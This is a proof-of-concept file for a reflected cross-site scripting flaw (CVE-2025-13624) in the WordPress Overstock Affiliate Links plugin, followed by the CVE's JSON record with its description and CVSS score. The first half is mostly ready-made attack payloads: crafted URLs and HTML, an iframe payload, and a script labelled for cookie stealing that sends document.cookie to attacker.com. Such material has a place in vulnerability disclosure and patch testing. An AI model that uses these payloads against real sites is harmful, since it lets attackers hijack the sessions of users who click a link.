CVE-2025-13624

<!-- CVE-2025-13624 PoC: Reflected XSS via $_SERVER['PHP_SELF'] --> <!-- Vulnerable URL Pattern --> <!-- http://target.com/wp-content/plugins/overstock-affiliate-links/sandbox_page.php/" onfocus="alert(document.domain)" autofocus=" --> <!-- Simple PoC URL --> <!-- http://target.com/wp-content/plugins/overstock-affiliate-links/sandbox_page.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E --> <!-- HTML PoC --> <a href="http://target.com/wp-content/plugins/overstock-affiliate-links/sandbox_page.php/"><script>alert('XSS')</script>">Click Here</a> <!-- JavaScript PoC for Cookie Stealing --> <script> fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); </script> <!-- iframe based PoC --> <iframe src="http://target.com/wp-content/plugins/overstock-affiliate-links/sandbox_page.php/"><svg/onload=alert(document.domain)>"></iframe>

{"cve": {"id": "CVE-2025-13624", "sourceIdentifier": "[email protected]", "published": "2025-12-20T04:16:07.527", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Overstock Affiliate Links plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/overstock-affiliate-links/tags/1.1/sandbox_page.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/overstock-affiliate-links/trunk/sandbox_page.php#L18", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/overstock-affiliate-links/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c06207da-d15d-4540-84be-218fa9055fd5?source=cve", "source": "[email protected]"}]}}